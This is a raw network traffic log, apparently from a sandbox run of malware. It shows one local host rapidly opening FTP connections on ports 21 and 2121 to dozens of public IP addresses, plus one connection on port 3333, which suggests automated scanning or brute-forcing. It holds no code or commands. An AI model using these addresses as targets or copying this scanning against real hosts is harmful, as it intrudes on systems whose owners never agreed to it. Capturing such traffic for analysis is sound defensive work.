Aug 23, 2023 09:14:54.357790947 CEST	50206	21	192.168.2.3	49.61.195.250
Aug 23, 2023 09:14:54.358182907 CEST	50207	21	192.168.2.3	71.197.186.51
Aug 23, 2023 09:14:54.358660936 CEST	50208	21	192.168.2.3	194.224.19.241
Aug 23, 2023 09:14:54.359132051 CEST	50209	2121	192.168.2.3	194.224.19.241
Aug 23, 2023 09:14:54.359539986 CEST	50210	2121	192.168.2.3	156.250.253.76
Aug 23, 2023 09:14:54.361455917 CEST	50211	2121	192.168.2.3	71.197.186.51
Aug 23, 2023 09:14:54.361526012 CEST	50212	21	192.168.2.3	93.212.237.238
Aug 23, 2023 09:14:54.362242937 CEST	50213	2121	192.168.2.3	93.212.237.238
Aug 23, 2023 09:14:54.367923021 CEST	50214	2121	192.168.2.3	49.61.195.250
Aug 23, 2023 09:14:54.368872881 CEST	50215	21	192.168.2.3	87.119.247.245
Aug 23, 2023 09:14:54.382656097 CEST	50148	2121	192.168.2.3	49.169.187.14
Aug 23, 2023 09:14:54.382674932 CEST	50144	2121	192.168.2.3	76.16.81.1
Aug 23, 2023 09:14:54.382690907 CEST	50204	2121	192.168.2.3	160.13.70.35
Aug 23, 2023 09:14:54.382714033 CEST	50145	21	192.168.2.3	104.19.99.246
Aug 23, 2023 09:14:54.382714987 CEST	50184	21	192.168.2.3	58.232.200.27
Aug 23, 2023 09:14:54.382730961 CEST	50146	2121	192.168.2.3	104.19.99.246
Aug 23, 2023 09:14:54.382730961 CEST	50149	21	192.168.2.3	46.105.32.44
Aug 23, 2023 09:14:54.382816076 CEST	50150	2121	192.168.2.3	46.105.32.44
Aug 23, 2023 09:14:54.406203985 CEST	21	50201	154.216.119.141	192.168.2.3
Aug 23, 2023 09:14:54.414729118 CEST	50216	2121	192.168.2.3	87.119.247.245
Aug 23, 2023 09:14:54.415654898 CEST	50217	21	192.168.2.3	154.216.96.187
Aug 23, 2023 09:14:54.434432983 CEST	2121	50209	194.224.19.241	192.168.2.3
Aug 23, 2023 09:14:54.448868036 CEST	50151	21	192.168.2.3	96.255.156.183
Aug 23, 2023 09:14:54.449003935 CEST	50152	2121	192.168.2.3	96.255.156.183
Aug 23, 2023 09:14:54.449013948 CEST	50153	21	192.168.2.3	94.145.254.103
Aug 23, 2023 09:14:54.492021084 CEST	50159	21	192.168.2.3	71.224.190.208
Aug 23, 2023 09:14:54.492070913 CEST	50155	21	192.168.2.3	222.113.142.212
Aug 23, 2023 09:14:54.539736032 CEST	50218	2121	192.168.2.3	154.216.96.187
Aug 23, 2023 09:14:54.540631056 CEST	50219	21	192.168.2.3	170.130.143.180
Aug 23, 2023 09:14:54.571471930 CEST	50162	2121	192.168.2.3	187.135.24.180
Aug 23, 2023 09:14:54.571480989 CEST	50154	2121	192.168.2.3	94.145.254.103
Aug 23, 2023 09:14:54.571480989 CEST	50205	21	192.168.2.3	156.250.253.76
Aug 23, 2023 09:14:54.571480989 CEST	50161	21	192.168.2.3	187.135.24.180
Aug 23, 2023 09:14:54.571480989 CEST	50163	21	192.168.2.3	73.38.174.234
Aug 23, 2023 09:14:54.571489096 CEST	50166	2121	192.168.2.3	174.99.119.14
Aug 23, 2023 09:14:54.571495056 CEST	50197	2121	192.168.2.3	182.65.111.130
Aug 23, 2023 09:14:54.571495056 CEST	50165	21	192.168.2.3	174.99.119.14
Aug 23, 2023 09:14:54.571497917 CEST	50156	2121	192.168.2.3	222.113.142.212
Aug 23, 2023 09:14:54.586821079 CEST	50220	2121	192.168.2.3	170.130.143.180
Aug 23, 2023 09:14:54.587162971 CEST	2121	50210	156.250.253.76	192.168.2.3
Aug 23, 2023 09:14:54.587698936 CEST	50221	21	192.168.2.3	176.94.105.202
Aug 23, 2023 09:14:54.611773968 CEST	2121	50186	58.232.200.27	192.168.2.3
Aug 23, 2023 09:14:54.612761021 CEST	50222	2121	192.168.2.3	176.94.105.202
Aug 23, 2023 09:14:54.627788067 CEST	21	50217	154.216.96.187	192.168.2.3
Aug 23, 2023 09:14:54.636038065 CEST	21	50203	160.13.70.35	192.168.2.3
Aug 23, 2023 09:14:54.675148964 CEST	21	50184	58.232.200.27	192.168.2.3
Aug 23, 2023 09:14:54.690464973 CEST	21	50219	170.130.143.180	192.168.2.3
Aug 23, 2023 09:14:54.698208094 CEST	2121	50204	160.13.70.35	192.168.2.3
Aug 23, 2023 09:14:54.701782942 CEST	50164	2121	192.168.2.3	73.38.174.234
Aug 23, 2023 09:14:54.701793909 CEST	50160	2121	192.168.2.3	71.224.190.208
Aug 23, 2023 09:14:54.704736948 CEST	50223	21	192.168.2.3	1.236.178.146
Aug 23, 2023 09:14:54.710838079 CEST	50167	21	192.168.2.3	75.143.172.33
Aug 23, 2023 09:14:54.711028099 CEST	50168	2121	192.168.2.3	75.143.172.33
Aug 23, 2023 09:14:54.711035013 CEST	50170	2121	192.168.2.3	156.245.32.185
Aug 23, 2023 09:14:54.731224060 CEST	2121	50220	170.130.143.180	192.168.2.3
Aug 23, 2023 09:14:54.743845940 CEST	50224	2121	192.168.2.3	1.236.178.146
Aug 23, 2023 09:14:54.744441032 CEST	2121	50197	182.65.111.130	192.168.2.3
Aug 23, 2023 09:14:54.745682001 CEST	50225	21	192.168.2.3	83.49.11.85
Aug 23, 2023 09:14:54.801420927 CEST	21	50205	156.250.253.76	192.168.2.3
Aug 23, 2023 09:14:54.805851936 CEST	50226	2121	192.168.2.3	83.49.11.85
Aug 23, 2023 09:14:54.918608904 CEST	50227	21	192.168.2.3	182.65.175.207
Aug 23, 2023 09:14:54.971000910 CEST	21	50223	1.236.178.146	192.168.2.3
Aug 23, 2023 09:14:54.992125034 CEST	50209	2121	192.168.2.3	194.224.19.241
Aug 23, 2023 09:14:54.992161036 CEST	50201	21	192.168.2.3	154.216.119.141
Aug 23, 2023 09:14:54.992161989 CEST	50174	2121	192.168.2.3	154.28.115.120
Aug 23, 2023 09:14:54.992225885 CEST	50173	21	192.168.2.3	154.28.115.120
Aug 23, 2023 09:14:54.995822906 CEST	50172	2121	192.168.2.3	173.176.71.228
Aug 23, 2023 09:14:55.007714033 CEST	50171	21	192.168.2.3	173.176.71.228
Aug 23, 2023 09:14:55.025978088 CEST	2121	50224	1.236.178.146	192.168.2.3
Aug 23, 2023 09:14:55.066206932 CEST	2121	50209	194.224.19.241	192.168.2.3
Aug 23, 2023 09:14:55.067131042 CEST	21	50138	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:55.117108107 CEST	50210	2121	192.168.2.3	156.250.253.76
Aug 23, 2023 09:14:55.203569889 CEST	21	50201	154.216.119.141	192.168.2.3
Aug 23, 2023 09:14:55.210845947 CEST	50138	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:55.210977077 CEST	50204	2121	192.168.2.3	160.13.70.35
Aug 23, 2023 09:14:55.320255995 CEST	50203	21	192.168.2.3	160.13.70.35
Aug 23, 2023 09:14:55.322120905 CEST	50217	21	192.168.2.3	154.216.96.187
Aug 23, 2023 09:14:55.322124958 CEST	50219	21	192.168.2.3	170.130.143.180
Aug 23, 2023 09:14:55.322252035 CEST	50205	21	192.168.2.3	156.250.253.76
Aug 23, 2023 09:14:55.343645096 CEST	2121	50210	156.250.253.76	192.168.2.3
Aug 23, 2023 09:14:55.382848024 CEST	50220	2121	192.168.2.3	170.130.143.180
Aug 23, 2023 09:14:55.468657970 CEST	21	50219	170.130.143.180	192.168.2.3
Aug 23, 2023 09:14:55.492108107 CEST	50223	21	192.168.2.3	1.236.178.146
Aug 23, 2023 09:14:55.507766962 CEST	50175	21	192.168.2.3	40.68.252.107
Aug 23, 2023 09:14:55.526581049 CEST	2121	50204	160.13.70.35	192.168.2.3
Aug 23, 2023 09:14:55.527676105 CEST	2121	50220	170.130.143.180	192.168.2.3
Aug 23, 2023 09:14:55.530857086 CEST	21	50217	154.216.96.187	192.168.2.3
Aug 23, 2023 09:14:55.550597906 CEST	21	50205	156.250.253.76	192.168.2.3
Aug 23, 2023 09:14:55.617150068 CEST	50182	21	192.168.2.3	109.122.8.49
Aug 23, 2023 09:14:55.617151022 CEST	50180	2121	192.168.2.3	179.67.21.110
Aug 23, 2023 09:14:55.617176056 CEST	50181	2121	192.168.2.3	109.122.8.49
Aug 23, 2023 09:14:55.617199898 CEST	50183	21	192.168.2.3	179.67.21.110
Aug 23, 2023 09:14:55.636075974 CEST	21	50203	160.13.70.35	192.168.2.3
Aug 23, 2023 09:14:55.695346117 CEST	50209	2121	192.168.2.3	194.224.19.241
Aug 23, 2023 09:14:55.695393085 CEST	50224	2121	192.168.2.3	1.236.178.146
Aug 23, 2023 09:14:55.695444107 CEST	50176	2121	192.168.2.3	40.68.252.107
Aug 23, 2023 09:14:55.695657015 CEST	50179	2121	192.168.2.3	20.89.59.62
Aug 23, 2023 09:14:55.695662022 CEST	50185	21	192.168.2.3	20.89.59.62
Aug 23, 2023 09:14:55.759778976 CEST	21	50223	1.236.178.146	192.168.2.3
Aug 23, 2023 09:14:55.771830082 CEST	2121	50209	194.224.19.241	192.168.2.3
Aug 23, 2023 09:14:55.820300102 CEST	50192	2121	192.168.2.3	87.165.220.115
Aug 23, 2023 09:14:55.820322037 CEST	50191	21	192.168.2.3	87.165.220.115
Aug 23, 2023 09:14:55.853312969 CEST	50138	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:55.865456104 CEST	50228	2121	192.168.2.3	182.65.175.207
Aug 23, 2023 09:14:55.865492105 CEST	50231	21	192.168.2.3	72.27.24.55
Aug 23, 2023 09:14:55.865518093 CEST	50230	2121	192.168.2.3	173.91.48.57
Aug 23, 2023 09:14:55.865540028 CEST	50229	21	192.168.2.3	173.91.48.57
Aug 23, 2023 09:14:55.865572929 CEST	50232	2121	192.168.2.3	72.27.24.55
Aug 23, 2023 09:14:55.865652084 CEST	50233	21	192.168.2.3	176.254.107.224
Aug 23, 2023 09:14:55.865685940 CEST	50234	2121	192.168.2.3	176.254.107.224
Aug 23, 2023 09:14:55.865762949 CEST	50235	21	192.168.2.3	60.106.169.180
Aug 23, 2023 09:14:55.865827084 CEST	50236	21	192.168.2.3	34.74.161.243
Aug 23, 2023 09:14:55.865936995 CEST	50237	2121	192.168.2.3	60.106.169.180
Aug 23, 2023 09:14:55.882766962 CEST	50193	21	192.168.2.3	98.203.111.101
Aug 23, 2023 09:14:55.882778883 CEST	50194	2121	192.168.2.3	98.203.111.101
Aug 23, 2023 09:14:55.883733034 CEST	50190	2121	192.168.2.3	106.180.166.6
Aug 23, 2023 09:14:55.883784056 CEST	50189	21	192.168.2.3	106.180.166.6
Aug 23, 2023 09:14:55.977746964 CEST	2121	50224	1.236.178.146	192.168.2.3
Aug 23, 2023 09:14:56.007786036 CEST	50210	2121	192.168.2.3	156.250.253.76
Aug 23, 2023 09:14:56.007805109 CEST	50196	21	192.168.2.3	182.65.111.130
Aug 23, 2023 09:14:56.007863998 CEST	50219	21	192.168.2.3	170.130.143.180
Aug 23, 2023 09:14:56.031562090 CEST	21	50138	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:56.031599998 CEST	21	50138	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:56.031781912 CEST	50138	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:56.032418013 CEST	21	50138	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:56.032454967 CEST	50238	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:56.032490015 CEST	50138	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:56.099123955 CEST	50239	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:14:56.117151022 CEST	50217	21	192.168.2.3	154.216.96.187
Aug 23, 2023 09:14:56.156307936 CEST	21	50235	60.106.169.180	192.168.2.3
Aug 23, 2023 09:14:56.156795979 CEST	2121	50237	60.106.169.180	192.168.2.3
Aug 23, 2023 09:14:56.157665014 CEST	21	50219	170.130.143.180	192.168.2.3
Aug 23, 2023 09:14:56.158529997 CEST	50240	2121	192.168.2.3	34.74.161.243
Aug 23, 2023 09:14:56.183860064 CEST	50241	21	192.168.2.3	125.26.5.217
Aug 23, 2023 09:14:56.183985949 CEST	50242	2121	192.168.2.3	125.26.5.217
Aug 23, 2023 09:14:56.195271969 CEST	50220	2121	192.168.2.3	170.130.143.180
Aug 23, 2023 09:14:56.209913015 CEST	21	50138	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:56.210529089 CEST	21	50238	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:56.210597992 CEST	50238	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:56.233665943 CEST	2121	50210	156.250.253.76	192.168.2.3
Aug 23, 2023 09:14:56.234498978 CEST	50243	21	192.168.2.3	220.117.34.3
Aug 23, 2023 09:14:56.258583069 CEST	50244	2121	192.168.2.3	220.117.34.3
Aug 23, 2023 09:14:56.305376053 CEST	50245	21	192.168.2.3	121.176.239.111
Aug 23, 2023 09:14:56.321645021 CEST	50246	2121	192.168.2.3	121.176.239.111
Aug 23, 2023 09:14:56.321764946 CEST	50247	21	192.168.2.3	169.255.252.8
Aug 23, 2023 09:14:56.327346087 CEST	21	50217	154.216.96.187	192.168.2.3
Aug 23, 2023 09:14:56.328191042 CEST	50248	2121	192.168.2.3	169.255.252.8
Aug 23, 2023 09:14:56.337445974 CEST	50249	2121	192.168.2.3	75.178.114.189
Aug 23, 2023 09:14:56.337690115 CEST	50250	21	192.168.2.3	75.178.114.189
Aug 23, 2023 09:14:56.337708950 CEST	50251	21	192.168.2.3	83.58.204.108
Aug 23, 2023 09:14:56.339586020 CEST	2121	50220	170.130.143.180	192.168.2.3
Aug 23, 2023 09:14:56.340827942 CEST	50252	2121	192.168.2.3	83.58.204.108
Aug 23, 2023 09:14:56.382806063 CEST	50223	21	192.168.2.3	1.236.178.146
Aug 23, 2023 09:14:56.382832050 CEST	50199	21	192.168.2.3	94.2.16.9
Aug 23, 2023 09:14:56.382843971 CEST	50200	2121	192.168.2.3	94.2.16.9
Aug 23, 2023 09:14:56.382930040 CEST	50202	2121	192.168.2.3	154.216.119.141
Aug 23, 2023 09:14:56.390768051 CEST	21	50238	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:56.391241074 CEST	50238	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:56.400969982 CEST	50253	21	192.168.2.3	184.14.82.198
Aug 23, 2023 09:14:56.402079105 CEST	50254	2121	192.168.2.3	184.14.82.198
Aug 23, 2023 09:14:56.446533918 CEST	50255	21	192.168.2.3	183.104.185.73
Aug 23, 2023 09:14:56.491691113 CEST	21	50243	220.117.34.3	192.168.2.3
Aug 23, 2023 09:14:56.492183924 CEST	50224	2121	192.168.2.3	1.236.178.146
Aug 23, 2023 09:14:56.510448933 CEST	50256	2121	192.168.2.3	183.104.185.73
Aug 23, 2023 09:14:56.510628939 CEST	50257	2121	192.168.2.3	75.181.139.181
Aug 23, 2023 09:14:56.510695934 CEST	50259	21	192.168.2.3	75.181.139.181
Aug 23, 2023 09:14:56.510695934 CEST	50258	21	192.168.2.3	98.249.95.156
Aug 23, 2023 09:14:56.515841961 CEST	2121	50244	220.117.34.3	192.168.2.3
Aug 23, 2023 09:14:56.545237064 CEST	21	50253	184.14.82.198	192.168.2.3
Aug 23, 2023 09:14:56.557069063 CEST	50260	2121	192.168.2.3	98.249.95.156
Aug 23, 2023 09:14:56.557209969 CEST	50261	21	192.168.2.3	42.83.36.174
Aug 23, 2023 09:14:56.569329977 CEST	21	50238	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:56.569356918 CEST	21	50238	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:56.569623947 CEST	50238	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:56.571079969 CEST	50262	2121	192.168.2.3	42.83.36.174
Aug 23, 2023 09:14:56.588395119 CEST	50263	2121	192.168.2.3	5.137.215.73
Aug 23, 2023 09:14:56.588531971 CEST	50264	21	192.168.2.3	5.137.215.73
Aug 23, 2023 09:14:56.588629007 CEST	50265	2121	192.168.2.3	189.105.145.95
Aug 23, 2023 09:14:56.588721037 CEST	50266	21	192.168.2.3	189.105.145.95
Aug 23, 2023 09:14:56.618267059 CEST	50267	21	192.168.2.3	2.125.3.254
Aug 23, 2023 09:14:56.618417978 CEST	50268	2121	192.168.2.3	2.125.3.254
Aug 23, 2023 09:14:56.630189896 CEST	21	49983	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:56.630253077 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:56.648761988 CEST	21	50223	1.236.178.146	192.168.2.3
Aug 23, 2023 09:14:56.649542093 CEST	50269	21	192.168.2.3	111.241.211.225
Aug 23, 2023 09:14:56.695336103 CEST	50235	21	192.168.2.3	60.106.169.180
Aug 23, 2023 09:14:56.695396900 CEST	50237	2121	192.168.2.3	60.106.169.180
Aug 23, 2023 09:14:56.697197914 CEST	21	50255	183.104.185.73	192.168.2.3
Aug 23, 2023 09:14:56.712163925 CEST	50270	2121	192.168.2.3	111.241.211.225
Aug 23, 2023 09:14:56.760813951 CEST	2121	50256	183.104.185.73	192.168.2.3
Aug 23, 2023 09:14:56.775065899 CEST	2121	50224	1.236.178.146	192.168.2.3
Aug 23, 2023 09:14:56.776087999 CEST	50271	21	192.168.2.3	194.147.140.203
Aug 23, 2023 09:14:56.787915945 CEST	21	50238	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:56.823899031 CEST	21	50271	194.147.140.203	192.168.2.3
Aug 23, 2023 09:14:56.855515003 CEST	21	50261	42.83.36.174	192.168.2.3
Aug 23, 2023 09:14:56.869024038 CEST	2121	50262	42.83.36.174	192.168.2.3
Aug 23, 2023 09:14:56.910856962 CEST	21	50269	111.241.211.225	192.168.2.3
Aug 23, 2023 09:14:56.972460985 CEST	2121	50270	111.241.211.225	192.168.2.3
Aug 23, 2023 09:14:56.982429028 CEST	2121	50237	60.106.169.180	192.168.2.3
Aug 23, 2023 09:14:56.982451916 CEST	21	50235	60.106.169.180	192.168.2.3
Aug 23, 2023 09:14:56.993669987 CEST	50272	2121	192.168.2.3	194.147.140.203
Aug 23, 2023 09:14:56.993715048 CEST	50273	21	192.168.2.3	81.0.98.87
Aug 23, 2023 09:14:56.993721962 CEST	50274	2121	192.168.2.3	81.0.98.87
Aug 23, 2023 09:14:57.008749962 CEST	50275	21	192.168.2.3	189.130.192.12
Aug 23, 2023 09:14:57.046082973 CEST	2121	50272	194.147.140.203	192.168.2.3
Aug 23, 2023 09:14:57.117357969 CEST	50243	21	192.168.2.3	220.117.34.3
Aug 23, 2023 09:14:57.195447922 CEST	50253	21	192.168.2.3	184.14.82.198
Aug 23, 2023 09:14:57.195452929 CEST	50244	2121	192.168.2.3	220.117.34.3
Aug 23, 2023 09:14:57.320396900 CEST	50255	21	192.168.2.3	183.104.185.73
Aug 23, 2023 09:14:57.320421934 CEST	50256	2121	192.168.2.3	183.104.185.73
Aug 23, 2023 09:14:57.339760065 CEST	21	50253	184.14.82.198	192.168.2.3
Aug 23, 2023 09:14:57.374622107 CEST	21	50243	220.117.34.3	192.168.2.3
Aug 23, 2023 09:14:57.382901907 CEST	50261	21	192.168.2.3	42.83.36.174
Aug 23, 2023 09:14:57.382931948 CEST	50262	2121	192.168.2.3	42.83.36.174
Aug 23, 2023 09:14:57.382942915 CEST	50208	21	192.168.2.3	194.224.19.241
Aug 23, 2023 09:14:57.382966042 CEST	50271	21	192.168.2.3	194.147.140.203
Aug 23, 2023 09:14:57.382975101 CEST	50212	21	192.168.2.3	93.212.237.238
Aug 23, 2023 09:14:57.382985115 CEST	50211	2121	192.168.2.3	71.197.186.51
Aug 23, 2023 09:14:57.383021116 CEST	50213	2121	192.168.2.3	93.212.237.238
Aug 23, 2023 09:14:57.431782007 CEST	21	50271	194.147.140.203	192.168.2.3
Aug 23, 2023 09:14:57.454705000 CEST	2121	50244	220.117.34.3	192.168.2.3
Aug 23, 2023 09:14:57.492295980 CEST	50235	21	192.168.2.3	60.106.169.180
Aug 23, 2023 09:14:57.492549896 CEST	50237	2121	192.168.2.3	60.106.169.180
Aug 23, 2023 09:14:57.507930040 CEST	50216	2121	192.168.2.3	87.119.247.245
Aug 23, 2023 09:14:57.507949114 CEST	50214	2121	192.168.2.3	49.61.195.250
Aug 23, 2023 09:14:57.507951021 CEST	50215	21	192.168.2.3	87.119.247.245
Aug 23, 2023 09:14:57.507977009 CEST	50206	21	192.168.2.3	49.61.195.250
Aug 23, 2023 09:14:57.507977009 CEST	50207	21	192.168.2.3	71.197.186.51
Aug 23, 2023 09:14:57.508013010 CEST	50269	21	192.168.2.3	111.241.211.225
Aug 23, 2023 09:14:57.508039951 CEST	50270	2121	192.168.2.3	111.241.211.225
Aug 23, 2023 09:14:57.528418064 CEST	50276	2121	192.168.2.3	189.130.192.12
Aug 23, 2023 09:14:57.528419018 CEST	50277	21	192.168.2.3	34.110.211.12
Aug 23, 2023 09:14:57.571669102 CEST	21	50255	183.104.185.73	192.168.2.3
Aug 23, 2023 09:14:57.572232008 CEST	2121	50256	183.104.185.73	192.168.2.3
Aug 23, 2023 09:14:57.611901045 CEST	50221	21	192.168.2.3	176.94.105.202
Aug 23, 2023 09:14:57.611917973 CEST	50218	2121	192.168.2.3	154.216.96.187
Aug 23, 2023 09:14:57.663672924 CEST	50278	2121	192.168.2.3	34.110.211.12
Aug 23, 2023 09:14:57.663794041 CEST	50280	21	192.168.2.3	46.31.221.42
Aug 23, 2023 09:14:57.663798094 CEST	50279	2121	192.168.2.3	46.31.221.42
Aug 23, 2023 09:14:57.663937092 CEST	50282	2121	192.168.2.3	75.136.107.29
Aug 23, 2023 09:14:57.664053917 CEST	50281	21	192.168.2.3	75.136.107.29
Aug 23, 2023 09:14:57.666059017 CEST	50283	21	192.168.2.3	138.186.240.234
Aug 23, 2023 09:14:57.679564953 CEST	2121	50262	42.83.36.174	192.168.2.3
Aug 23, 2023 09:14:57.682327032 CEST	21	50261	42.83.36.174	192.168.2.3
Aug 23, 2023 09:14:57.700114012 CEST	50272	2121	192.168.2.3	194.147.140.203
Aug 23, 2023 09:14:57.727695942 CEST	50284	2121	192.168.2.3	138.186.240.234
Aug 23, 2023 09:14:57.750572920 CEST	2121	50272	194.147.140.203	192.168.2.3
Aug 23, 2023 09:14:57.768075943 CEST	2121	50270	111.241.211.225	192.168.2.3
Aug 23, 2023 09:14:57.769762039 CEST	21	50269	111.241.211.225	192.168.2.3
Aug 23, 2023 09:14:57.774429083 CEST	50285	21	192.168.2.3	79.145.73.225
Aug 23, 2023 09:14:57.775552988 CEST	50286	2121	192.168.2.3	79.145.73.225
Aug 23, 2023 09:14:57.779668093 CEST	2121	50237	60.106.169.180	192.168.2.3
Aug 23, 2023 09:14:57.779687881 CEST	21	50235	60.106.169.180	192.168.2.3
Aug 23, 2023 09:14:57.780827999 CEST	50287	21	192.168.2.3	216.93.6.61
Aug 23, 2023 09:14:57.780841112 CEST	50288	2121	192.168.2.3	216.93.6.61
Aug 23, 2023 09:14:57.806252956 CEST	50289	21	192.168.2.3	208.167.231.235
Aug 23, 2023 09:14:57.807018995 CEST	50290	2121	192.168.2.3	208.167.231.235
Aug 23, 2023 09:14:57.820569992 CEST	50222	2121	192.168.2.3	176.94.105.202
Aug 23, 2023 09:14:57.820590973 CEST	50226	2121	192.168.2.3	83.49.11.85
Aug 23, 2023 09:14:57.820596933 CEST	50225	21	192.168.2.3	83.49.11.85
Aug 23, 2023 09:14:57.851438999 CEST	50291	21	192.168.2.3	62.85.40.27
Aug 23, 2023 09:14:57.882934093 CEST	50253	21	192.168.2.3	184.14.82.198
Aug 23, 2023 09:14:57.904227972 CEST	21	50289	208.167.231.235	192.168.2.3
Aug 23, 2023 09:14:57.904952049 CEST	2121	50290	208.167.231.235	192.168.2.3
Aug 23, 2023 09:14:57.956075907 CEST	21	50287	216.93.6.61	192.168.2.3
Aug 23, 2023 09:14:57.956094980 CEST	2121	50288	216.93.6.61	192.168.2.3
Aug 23, 2023 09:14:57.961786985 CEST	50292	2121	192.168.2.3	62.85.40.27
Aug 23, 2023 09:14:57.992321968 CEST	50271	21	192.168.2.3	194.147.140.203
Aug 23, 2023 09:14:57.992336988 CEST	50244	2121	192.168.2.3	220.117.34.3
Aug 23, 2023 09:14:58.007951021 CEST	50243	21	192.168.2.3	220.117.34.3
Aug 23, 2023 09:14:58.008099079 CEST	50227	21	192.168.2.3	182.65.175.207
Aug 23, 2023 09:14:58.026627064 CEST	21	50253	184.14.82.198	192.168.2.3
Aug 23, 2023 09:14:58.027509928 CEST	50293	21	192.168.2.3	115.16.222.103
Aug 23, 2023 09:14:58.039956093 CEST	21	50271	194.147.140.203	192.168.2.3
Aug 23, 2023 09:14:58.040889025 CEST	50294	2121	192.168.2.3	115.16.222.103
Aug 23, 2023 09:14:58.117357016 CEST	50255	21	192.168.2.3	183.104.185.73
Aug 23, 2023 09:14:58.117362976 CEST	50256	2121	192.168.2.3	183.104.185.73
Aug 23, 2023 09:14:58.195477009 CEST	50262	2121	192.168.2.3	42.83.36.174
Aug 23, 2023 09:14:58.195482969 CEST	50261	21	192.168.2.3	42.83.36.174
Aug 23, 2023 09:14:58.243796110 CEST	50295	21	192.168.2.3	125.158.95.57
Aug 23, 2023 09:14:58.249588966 CEST	2121	50244	220.117.34.3	192.168.2.3
Aug 23, 2023 09:14:58.250549078 CEST	50296	2121	192.168.2.3	125.158.95.57
Aug 23, 2023 09:14:58.264286041 CEST	21	50243	220.117.34.3	192.168.2.3
Aug 23, 2023 09:14:58.265695095 CEST	50297	21	192.168.2.3	222.233.104.163
Aug 23, 2023 09:14:58.269808054 CEST	50270	2121	192.168.2.3	111.241.211.225
Aug 23, 2023 09:14:58.269917965 CEST	50269	21	192.168.2.3	111.241.211.225
Aug 23, 2023 09:14:58.291505098 CEST	21	50293	115.16.222.103	192.168.2.3
Aug 23, 2023 09:14:58.307514906 CEST	2121	50294	115.16.222.103	192.168.2.3
Aug 23, 2023 09:14:58.337024927 CEST	50299	2121	192.168.2.3	222.233.104.163
Aug 23, 2023 09:14:58.368105888 CEST	2121	50256	183.104.185.73	192.168.2.3
Aug 23, 2023 09:14:58.368120909 CEST	21	50255	183.104.185.73	192.168.2.3
Aug 23, 2023 09:14:58.370629072 CEST	50300	21	192.168.2.3	59.26.124.48
Aug 23, 2023 09:14:58.370976925 CEST	50301	2121	192.168.2.3	59.26.124.48
Aug 23, 2023 09:14:58.383006096 CEST	50272	2121	192.168.2.3	194.147.140.203
Aug 23, 2023 09:14:58.402458906 CEST	50302	21	192.168.2.3	88.34.110.137
Aug 23, 2023 09:14:58.414215088 CEST	50289	21	192.168.2.3	208.167.231.235
Aug 23, 2023 09:14:58.414283037 CEST	50290	2121	192.168.2.3	208.167.231.235
Aug 23, 2023 09:14:58.434565067 CEST	2121	50272	194.147.140.203	192.168.2.3
Aug 23, 2023 09:14:58.435621023 CEST	50303	2121	192.168.2.3	88.34.110.137
Aug 23, 2023 09:14:58.494261026 CEST	2121	50262	42.83.36.174	192.168.2.3
Aug 23, 2023 09:14:58.499161959 CEST	21	50261	42.83.36.174	192.168.2.3
Aug 23, 2023 09:14:58.502155066 CEST	21	50295	125.158.95.57	192.168.2.3
Aug 23, 2023 09:14:58.504889965 CEST	50304	21	192.168.2.3	83.15.21.5
Aug 23, 2023 09:14:58.507742882 CEST	50305	2121	192.168.2.3	83.15.21.5
Aug 23, 2023 09:14:58.510488033 CEST	2121	50296	125.158.95.57	192.168.2.3
Aug 23, 2023 09:14:58.512242079 CEST	21	50289	208.167.231.235	192.168.2.3
Aug 23, 2023 09:14:58.512268066 CEST	2121	50290	208.167.231.235	192.168.2.3
Aug 23, 2023 09:14:58.530633926 CEST	2121	50270	111.241.211.225	192.168.2.3
Aug 23, 2023 09:14:58.531514883 CEST	21	50269	111.241.211.225	192.168.2.3
Aug 23, 2023 09:14:58.542598009 CEST	21	50297	222.233.104.163	192.168.2.3
Aug 23, 2023 09:14:58.548064947 CEST	50306	21	192.168.2.3	119.207.128.100
Aug 23, 2023 09:14:58.555985928 CEST	50307	2121	192.168.2.3	119.207.128.100
Aug 23, 2023 09:14:58.566021919 CEST	2121	50305	83.15.21.5	192.168.2.3
Aug 23, 2023 09:14:58.581747055 CEST	50288	2121	192.168.2.3	216.93.6.61
Aug 23, 2023 09:14:58.581773043 CEST	50287	21	192.168.2.3	216.93.6.61
Aug 23, 2023 09:14:58.632595062 CEST	2121	50299	222.233.104.163	192.168.2.3
Aug 23, 2023 09:14:58.757177114 CEST	21	50287	216.93.6.61	192.168.2.3
Aug 23, 2023 09:14:58.757215977 CEST	2121	50288	216.93.6.61	192.168.2.3
Aug 23, 2023 09:14:58.820826054 CEST	50293	21	192.168.2.3	115.16.222.103
Aug 23, 2023 09:14:58.823666096 CEST	50294	2121	192.168.2.3	115.16.222.103
Aug 23, 2023 09:14:58.883006096 CEST	50229	21	192.168.2.3	173.91.48.57
Aug 23, 2023 09:14:58.883035898 CEST	50230	2121	192.168.2.3	173.91.48.57
Aug 23, 2023 09:14:58.883063078 CEST	50236	21	192.168.2.3	34.74.161.243
Aug 23, 2023 09:14:58.883088112 CEST	50228	2121	192.168.2.3	182.65.175.207
Aug 23, 2023 09:14:58.955677032 CEST	50234	2121	192.168.2.3	176.254.107.224
Aug 23, 2023 09:14:58.955679893 CEST	50231	21	192.168.2.3	72.27.24.55
Aug 23, 2023 09:14:58.955771923 CEST	50232	2121	192.168.2.3	72.27.24.55
Aug 23, 2023 09:14:58.955774069 CEST	50233	21	192.168.2.3	176.254.107.224
Aug 23, 2023 09:14:59.086374044 CEST	21	50293	115.16.222.103	192.168.2.3
